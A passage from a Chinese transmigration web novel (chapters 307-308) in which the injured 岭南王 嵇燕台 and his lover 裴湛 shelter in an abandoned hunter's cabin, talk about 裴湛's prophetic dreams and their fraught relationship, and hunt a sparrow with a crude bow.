嵇燕台的右腿已经被简单处理过了,用两根布条固定着,避免伤势加重。好在骨折程度不算太严重,没有破口伤。 裴湛走得很稳。 尽管他雌伏于嵇燕台身下,但他仍旧是个身体康健的青年男子,并非弱不禁风的病弱书生。 再者说,嵇燕台也减了重,身形匀称。 说是这么说。 嵇燕台也没问自己重不重这种蠢问题,再怎么匀称,也是百十斤的负重,这片山林的路又崎岖难走,人迹罕至。 在裴湛背着他前行的时候,嵇燕台指完路,冷不丁道了声,“湛湛,腿晃得疼。” 裴湛没吭声,只是速度慢了些 下一瞬。 嵇燕台忽然听到系统哦豁了一声,企图为自己正名,“宿主,我就说吧?” 嵇燕台不答,一张口就是使唤,“老实探你的路,什么时候能找到安全的休息地点?” NO01:… 没有一个积分是好赚的呢。 NO01飞高了,将自己当成一架自带摄像头的无人机,汇报道:“快了,前边儿有一个废弃的猎户小木屋,收拾一下,勉强能住人呢。” 这深山老林的,有个山洞都该偷笑了。 嵇燕台也这么觉得。 不过这个小木屋未免也太破了吧? 嵇燕台被裴湛放在一块倒木上,随即他满头汗地过去推门,木门顿时发出一声锯子似的尖叫,似乎下一瞬就要倒塌。 也就是有个屋子模样,起到造型上的作用。 好在小木屋的附近有水源,裴湛默不作声地打了水,简单地收拾了一下屋中物件和尘土,又捡柴生火,忙得脚不沾地。 嵇燕台一个新出炉的瘸子,只能在旁看着。 裴湛到底是书生,空手生火还是不太行。 眼见天色黯淡下来,嵇燕台冲他唤了声,“我来,钻木取火我最在行了,以前经常在冷宫里起火烤麻雀呢。” 裴湛动作一顿。 两人心知肚明,这并非岭南王的亲身经历。 嵇燕台腿脚不便,动弹不得,裴湛便把木柴枝条抱了过来,并且在他生火时从旁协助,但还是不说话。 嵇燕台手艺生疏,忙活了许久。 夜色越来越暗,终于有一束青烟从木头里溢出来,缓缓升空,紧接着冒出一团微弱的焰色,嵇燕台小心护着火苗,又添入一把干枯落叶。 呼啦。 火堆点起来了。 裴湛盯着那团火,嵇燕台瞥了眼他的侧脸,忍不住抬手摸了摸他肿胀的眼皮。 裴湛愣了一下,来不及躲避。作者有话说裴湛愣了一下,来不及躲避。 307、Chapter 307 ... 暗影逼近,裴湛只来得及关上眼皮。 那点温热的触感宛如蜻蜓点水,在他的眼尾一触而过,再睁眼时,男人侧着身,又往火堆里添了两根枯枝,方才的触碰好似只是裴湛的幻觉。 “唰。” 裴湛猛地站起身来,从小木屋里取出一个坑坑洼洼的铁炉子,沉默地往水源方向走去,大概是想要取水回来烧。 “慢着,带上火把。” 嵇燕台大咧咧地坐在地上,一只脚杵着地,骨折了的右腿伸长了平放。他从火堆里抽出一段燃着的枯木,往前递去,“早点回来,若是有熊瞎子来叼我,我可跑不过它。” 裴湛转回身,默然接过。 嵇燕台冲他笑了一下,不像是话里说得那样惧怕,反而显出几分无所谓来,“你不是说过,这回不教我一个人死么…… “君子不可言而无信。” 裴湛站了片刻,才离开。 太阳一下山,深山里的夜就追了过来。 暮色深沉,渗透在林间的每一个角落,虫鸣此起彼伏,偶尔晃过一两声不知名鸟类的啼叫,远远近近地荡出空谷般的回音。 气氛很凄寒。 好在火堆烧得旺,驱散了几分冷意。 嵇燕台望着裴湛的身影隐没在林中,只剩下一簇暖橙色的火光在黑暗中晃动,像是浩瀚天地间的一点烛光。 那样微弱,又刺目。 他坐在原处,看着火儿,随手在裴湛捡回来的木柴枝叶里扒拉了几下,翻出一根笔直的木棍,很适合当拐棍。 嵇燕台握着末端,凌空劈了两下。 就听见两道咻咻的破空声。 嵇燕台满意地点了点头,随即撑着木棍缓慢起身,全程没有使用右腿。 他身上多是擦伤、划伤、以及淤青撞伤,右腿的骨折是最严重的。尽管系统兑换的止痛药效果斐然,嵇燕台的痛感被完美屏蔽,但他可不想增加骨头长歪的可能性。 他举着一根烧得噼啪作响的木枝,缓步迈进了小木屋里,借着火光看了个大概。 木屋很小,也就十平米出头。 哪怕经过裴湛打扫,里头看起来仍旧破败,角落里放着一张光秃秃的木板床,角落堆着些许生活杂物,比如一只磕了角的破碗。 墙上还有一张很粗糙的自制木弓。 屋主人应是很久没有来过了,里头没有一丝人气。嵇燕台找了个缝隙插火把,然后推开窗子,让屋外的火光透进来。 随即他拄着木棍,慢慢挪到那床简陋的木板床边,在坐下去的瞬间,他的屁股发出一声不堪重负的尖叫。 原来是床在叫啊。 嵇燕台调整了一下姿势,由坐转躺,无聊地盯着顶上的木梁。 感觉回到了冷宫里。 就在这时,窗外传来一道重物坠地的声响。 嵇燕台反手将上身撑起,瞥见裴湛急步窜到火堆前,火光将他略显慌乱的神情映得分明。他左右看了一圈,唇抿得很紧。 找什么呢。 没看到他在门边插了个火把吗? 嵇燕台脑中闪过这道念头,人却不动弹,也不出声喊人,一直等到裴湛的视线投过来,两人透过窗对视片刻,他才笑了笑,冲那人比了个口型, 怕我被叼走啊?'' 屋里昏暗极了,也不知道他看不看得清。 见裴湛瞬间收回视线,嵇燕台猜他看到了,便拄着木棍起身,静静地看裴湛拾起地上的炉子,将其往火堆上架。 打来的水应该是撒了一半。 嵇燕台站累了,往门框上一倚,肩侧瞬间发出一大声尖叫,在黑夜里特别渗人。 裴湛也忍不住侧头看过来。 嵇燕台总算知道它为什么被屋主人弃了。 太热闹。 偏生他们两个长了嘴的,太安静。 等那锅水烧开后,裴湛又瞥过来一眼,嵇燕台也没话,只是一瘸一拐地坐到火堆旁。 就听见撕拉一声。 裴湛将自己的里衣下摆撕下一条,重新给他处理位置刁钻的伤口。 这大半日的时间,两人不曾进食,幸好现在还有烧热的水喝。山野条件有限,嵇燕台跟裴湛用那只破了口的碗喝了水,一齐进了木屋。 虽是夏季,夜里的山却凉得很。 裴湛褪下外衫,铺在地上,显然是要将那张破床让给嵇燕台一个人睡。嵇燕台也不客气,躺在那张动一下就滋儿哇乱叫的床上。 屋外的虫鸣声更响了,吵得人头昏脑胀。 嵇燕台闭目养神,听着屋中另一道清浅的呼吸声,忽然开口道:“你是怎么知道那些事情的?契机是不是我送给你的那块玉佩?” 那是上一任系统留下的道具,具有高度嫌疑。 寂静。 裴湛的呼吸声更浅。 不知过去了多久,嵇燕台听到他嗯了一声。 嵇燕台不太意外,又问:“跟你前些日子的梦魇有关?你是不是……梦到我了?” 半晌,裴湛又嗯了一声。 嵇燕台继续问:“梦到我什么了?” 裴湛沉默。 嵇燕台轻笑一声,“湛湛,聊会儿吧,你都有胆子跟我殉情了,还不敢跟我交一交心么?说不定聊得好了,反倒避免了许多争端呢。” 这次,裴湛没再自动回复了。 嵇燕台听他用很简洁的语句描述完玉佩沾血的异状,以及梦中一次次迥异的死亡现场,下意识睁开双眼,扭头看过去 “吱呀。” 床板叫了一声,打断了他的思绪。 嵇燕台真是没脾气了,他瞥着床下那道朦胧的侧睡背影,问出了自己最关心的一件事, “梦到哪一次了?” 裴湛吐出几个字,“景宏殿,毒酒。” 嵇燕台:.……行吧。” 都快梦到通关了啊。 嵇燕台想了想,确认道:“你这两天睡得还算安稳,不曾梦中呓语,是因为没有随身携带那块玉佩?” 还有距离限制么? 裴湛又开始自动回复:“嗯。” 他的决定是正确的。 毕竟那东西上雕刻着五爪龙纹,随身携带有风险,若是被有心人发现了,随时会被扣上一个不臣的帽子。 倒也没有冤枉了谁。 嵇燕台和裴湛,两个人都不干净。一个看中了父亲的位置,另一个直接把人家儿子的位置给砸烂了,皆是僭越。 思忖间,嵇燕台忽听到裴湛轻声道:“登基通关,返回现世……你可是一抹来自异世的怨魂,需登基为帝才能轮回转世,再世为人?” “岭南王,是你的现世吗?” 不等嵇燕台反应,他自顾自地低语,“不,坊间传闻岭南王自幼厌倦读书学文,贪恋美色,且身体有碍……你却不是那样的。” 裴湛顿了顿,忽道:“你所书写的那个大同世界,是真实存在的吗?” “那可是你真正的来处?” “哇哦。“ 道电子音悄然闪过。 “主角不愧是古代社会的高材生,宿主你上一世的事情,基本都被猜到了啊。” 嵇燕台不理袍,只盯着黑暗中那道侧影,牙关不自觉地紧了紧,心脏亦是如此,好半晌才吐出一句,“那在你看来,我是哪样的?”这一次,裴湛连自动回复都没了。 嵇燕台却不依不饶,直接从床板上坐起来,任由它发出一连串的吱呀声,单脚腾挪了两步,从背后揽住了裴湛,低声追问:“说啊。”“是床上太威猛,与传闻中的岭南王有异,还是不够贪恋你的美色?让你太松快了?” 两人如今的情况太复杂了 裴湛本该忌惮防备,身体却因两年的肌肤相亲而懈怠,只好弓起身子,拉开些距离,不曾想男人一把扳过他的肩,将他翻了过来。 “…·放手。” 裴湛平躺着,两只大手扣着他的肩,岭南王正悬在他的上空,眸色沉沉地问道:“在你眼里,我是什么样子的?” 嵇燕台是真的好奇。 两人在黑暗中四目相对,呼吸交织。 倏然,裴湛开口了,“首先,你的学识远超常人,走一步算十步的心术让人望而生畏,其次,你并非好色之人… 嵇燕台忍不住笑了一声, “我还不算么?” 他压低声音,凑到裴湛耳边说道:“湛湛,你莫不是忘了……你被我弄成什么样了?你如今的身子,连脂膏都无需多用。” 裴湛闭了闭眼,狠推了一把男人的胸膛。 嵇燕台一旦认真起来,也不是裴湛能轻易推开的,他俯得更低,跟裴湛几乎叠在一起,宛如鸳鸯交颈,好不亲密。 裴湛静了静,平复心神,继续道:“你虽对我百般戏弄,但我出府多时,你也没有找过他人,甚至不曾观赏府中的那些书画。” 嵇燕台很快应道:“你要的专宠啊。” 裴湛撇着脑袋,感受着男人落到自己耳后的沉重呼吸,冷声道:“你不爱照镜子,怕是看不到自己的神情……哪怕你与我共赴巫山,眼底仍存一丝清明。” 那样的眼神…… 绝不是为美色昏头的人能有的。 因为裴湛也是如此。 然而,岭南王对他的渴求并非虚假,只是那渴求不单单是对身体的,还有对裴湛身上某些说不明的东西的。 裴湛实在不知道该如何形容。 偏偏身上的男人还在追问。 他想了许久,忽然想起霁灵帝那本随笔小册上的各色标注——这人曾抱着自己,一个词一个词地解释过的。 岭南王说,那是霁灵帝对宫中众人的蛐蛐,也叫人物侧写,有助于摸清人物性格,对症下药,是一项很实用的技能。 现在想想,真是无比贴切。 于是,嵇燕台听到裴湛对自己锐评道:“你性压抑,你喜欢借着我的身体来缓解内心的痛苦,发泄你对生活的不满,你缺爱,你是多年压抑导致的心理变态。” “你需要喝点中药调理一下。” 听到这里,嵇燕台实在忍不住,直接噗嗤一声笑了出来,笑得前俯后仰,话都说不利索了,“你说…咳,你说得太对了。” “你真的好了解我,跟照镜子一样。” 借着一缕从窗缝漏进来的月光,裴湛隐约看见男人脸上的笑很肆意,又莫名带了两分伤感,随即他俯身而下,在裴湛的唇上重重落下一吻。 “来。” “夫君奖励一个亲亲。” 裴湛刚想挣扎着撇过脑袋,就听到男人压低声音,很好奇地问道:“那你为什么还会喜欢我?你喜欢我什么?” “嗯?” 霎时间,裴湛整个人僵住了。 308、Chapter 308... 嵇燕台没想过得到回答。 毕竟在成为岭南王之后,他直接放飞自我,油性大发,已然不知天地为何物了。 关于自己在裴湛心里究竟是个什么形象这点,他还是有数的。 两人的开头太下作。 说强取豪夺,就是真的强取豪夺。 嵇燕台变态得明明白白,不加掩饰,反正要到了裴湛的身体,此人日后也注定伴在自己身侧,管他心在何处呢? 那些都是虚头巴脑的东西。 他只认结果。 后来裴湛有意复仇,嵇燕台也自有算盘,便主动让了权,给他架梯子,那一日日的教导更是苦心孤诣,相信裴湛亦有所感。 嵇燕台不是没有察觉到他偶尔的失神。 只不过,他将其归结于裴湛的高道德感。 唯独那个恋爱脑系统时不时冒出来,仿佛故事里的旁白音,话里话外,都是在说—一 宿主,他心里有你。 宿主,你是不是觉得主角也挺得劲的. …… 嵇燕台也想说,宿你个头,你这玩意儿到底是渣男前夫哥扮演系统,还是红娘系统? 那些废话,他一刻都没有当真过。 直到此次跳崖后,系统旧话重提,嵇燕台本该嗤之以鼻,只是他一想起裴湛在跳崖时吐出的那句轻语,便不自觉地走神。 就像是他抓住了裴湛的软肋… 那一刻,嵇燕台觉得裴湛似乎也攥住了他的软肋,在他的心脏外敲出一道沉闷的回响。 他开始怀疑,开始好奇,想要去探究。 嵇燕台已经很久没有这种感觉了。 因此,两人崖底相见时,他分明身处劣势,却仍旧言语压迫和挑衅。 如果裴湛真对他有一分爱意,那么在他对自己释放了杀心之后,在他发现岭南王竟然救了他的性命之后…… 那一分爱意会让他倍感痛苦。 果不其然。 嵇燕台成功验证了自己的怀疑。 尽管确认了某些事,但嵇燕台不认为裴湛会坦诚接受这一份不合时宜的情感,说不定还会对此感到厌恶,抗拒,所以他玩笑着问出口,没指望裴湛会做出应答。 哪怕他僵硬的躯体已经有所表露。 裴湛已经默认了。 但嵇燕台是真的没想到,他深呼吸了几个来回后,那双深邃沉静的眸子掠过自己,望着顶空,很平静地说了句, “身不由己,心也不由己……. “裴湛无话可说。” 其实是有的。 裴湛确实不知道那些不合时宜的情愫是何时滋生的了,但他记得,自己究竟是哪一刻,隐约感到有些不对劲的。 那是他第一次长时间离开岭南王府。 时间过去了两三个月。 期间,裴湛隐于暗处谋划部署,事了后,他通过书房密道返回王府。 已至深秋。 裴允书正在小书房里上课。 裴湛在窗外看了一会儿,便默默离开了。 在回后院的路上,他远远望见岭南王独自坐在池边凉亭中,怀里抱着白云似的松狮犬,一下下地喂着池中锦鲤,看起来有些倦怠困顿。 大福嗅着他的手,想偷吃鱼食。 比起春夏,秋日花园的色调更稳重些。 裴湛不自觉停下步子,不欲上前。 奈何大福发现了他半隐在廊下的身影,冲这个方向汪呜叫唤起来,连带着岭南王也看过来了。 裴湛只好往前走了一步。 岭南王看到他,眉眼弯了一下,随即放下了无聊支着下巴的手,施施然地站起身,像是要迎一迎他。 下一瞬。 人立在他怀里的松狮犬吐着舌头,尾巴甩得飞快,不曾想男人撒开了托着它的那只手,它一个猝不及防,两条岔成八字的后腿 翻,眼看着整条狗就要滚到池塘里. ……卧槽!” 电光火石之间,裴湛听到男人一声低呼,下意识地伸手去捞。 没捞着。 裴湛只听到噗通一声,大福坠入池中。 松狮犬的腿不算长,飞速地刨动,一路被肥硕的锦鲤撵到了岸边,发出一连串委屈的汪呜声。 岭南王连忙把它拉上来。 谁知大福抖动着身子,飞出无数水珠,首当其冲的便是一旁的岭南王。裴湛只好唤来婢女将湿透的大福带下去,自己上前为其打理。 “回来了?” 岭南王任他举着帕子擦拭下颌处的水珠,与他四目相对许久,久到裴湛想要低头避开。 就在这时。 岭南王冷不丁抬起那只捞过大福的手,指尖往他面上一弹,甩过来几粒水珠。 裴湛躲避不及,下意识撇过脸。 随即男人一把将他搂进了怀里,脸贴着脸,把没擦干净的水珠一股脑蹭了过来,“目睹本王的装逼失败现场,是要付出代价的。” 胸腔震动,笑声低沉。 裴湛靠在他怀里,忽然感到一阵轻松,仿佛积攒了两个多月的疲惫一拥而上,迫使他眯起眼,不受控地打了个哈欠。 他抬手遮掩,却摸到嘴角微弯的弧度。 这是一个很不起眼的瞬间。 然而,就是这个瞬间,让裴湛意识到……他似乎没有自己以为的那样抗拒,或是那样强烈地想要远离岭南王。 为此,他感到羞愧。 他情愿是自己会错意了。 不说也罢 …. 嵇燕台深切地感受到,藏在裴湛两句话里的无可奈何。他没良心,没道德,嘴角忍不住撇出一抹笑,还靠在人家肩头打了个哈欠。 “哦,没话说那就睡吧。” 嵇燕台懒得动那条断腿,就这么搂着裴湛躺在地上,“山里寒气重,我这样子……说不定半夜就发起热了,正好给你暖暖。” 说完,他就闭眼假寐。 裴湛静躺了一会儿,转过身侧睡。 霎时间,屋里安静下来。 困意来袭,屋外的虫鸣鸟叫渐渐远去了,嵇燕台本以为自己睡不着,怎料再一睁眼,天光已是大亮。 裴湛已经不在身侧了。 他睡得腰背酸痛,缓慢起身时,眼前晃过一道白影 是一块湿布。 形状不规则,边缘有撕扯过后的开线痕迹,被人叠成了一块方巾的形状,覆盖整个额头。 嵇燕台摸了摸自己的前额。 真发热了。 不慌。 他屏蔽了痛觉,且有系统随时锁血。 死不了就是没事。 嵇燕台环视一圈,发现屋子里不止少了一个裴湛,连挂在墙上的那张破弓也不见了。 他拄着木棍,往门外走去。 就见裴湛站在屋外的空地上,背对着他,正低头摆弄着什么。 那张破旧的弓就放在一旁。 嵇燕台又上前两步,发现他手里握着一块生锈的铁片,正仔细地削着一根细长的木枝,动作认真且专注。 片刻后。 裴湛身边积攒了几根削出简单形状的木箭。 他拿起弓,搭好箭,瞄准不远处树枝上的一只雀鸟,似是想试一试弓与箭的可用性。 姿势倒是摆得像模像样,就是准头实在堪忧。 倒也正常。 毕竟裴湛本就是一介书生,此前练习弓箭,用的都是上好的弓箭,如今这把粗糙的木弓实在上不得台面,将射中的几率打了半折。 第一箭歪歪斜斜地飞出去,连树枝都没碰到就栽进了草从里。 第二箭好多了,碰到了枝杈。 那只麻雀被惊得扑棱着翅膀,跳到了更高处。 裴湛抿着唇,又搭上第三箭,手指关节处的结痂伤口又崩裂开来,渗出一丝湿润的红。 嵇燕台挥动手中的木棍,发出声响。 声音惊动了前头那人。 裴湛回过头,听到男人刚睡醒的沙哑嗓音,带着笑,“那麻雀叽叽喳喳的,是不是在笑你?” 裴湛:“.… 嵇燕台坐到那块倒木上,调整了一下姿势,冲裴湛伸出手,“给我,让你开开眼。” 裴湛顿了顿,果真将弓箭都交了出去。 嵇燕台接过后,掂量几下,嘴里还在说,“我以前读大学的时候,有一个舍友,他一心想考警察学校,当刑警,不过家里不同意,逼着他报了金融科……” “他可喜欢玩枪和弓箭了。” “我跟他去过几次射击俱乐部,教练说我挺有天赋的。” 说完,嵇燕台抬起眼,目光落到那只重新落回来的麻雀上,搭箭,开—— 动作流畅得仿佛联系过千百遍。 嗖的一声轻响。 这支粗糙的木箭飞了出去,在麻雀起跳之前打中它的翅膀,将其射落。威力虽不强,却也勉强够用了。 嵇燕台体会完手感,确定它用不了几次,便将木弓放到了一旁,待裴湛将摔断了脖子的麻雀捡回来之后,语气严肃地问了句, “湛湛。” “我刚才帅吗?” 裴湛没吭声,仿佛在思考该怎么处理这只瘦巴巴的小麻雀,嵇燕台抻着伤腿注视他,忽道:“怎么,今天也无话可说么?” 寂静片刻。 裴湛问道:“那个大同世界是什么样的?” 不等嵇燕台开口,他抬眼看过来,很快又收回视线,晨光落在他低垂的脖颈上,勾勒出一段安静而坚韧的弧度。 周遭是一片广袤而危机四伏的深山老林。 他和裴湛呆在这里,没有旁人。 嵇燕台默了默,忽然咳嗽了两声,喉咙因高热而干渴,嗓音更显沙哑,嘴角却勾起一丝很浅的弧度,“你是在转移话题吗?” 裴湛:“.… 见状,嵇燕台轻笑两声。 霁朝与晟朝的岁月林林总总加在一起,早就成了一笔烂账,他已经记不清具体年岁了。 嵇燕台低头看了眼自己的伤腿,似乎从来没有觉得哪一天像今天这样…… 这样踏实。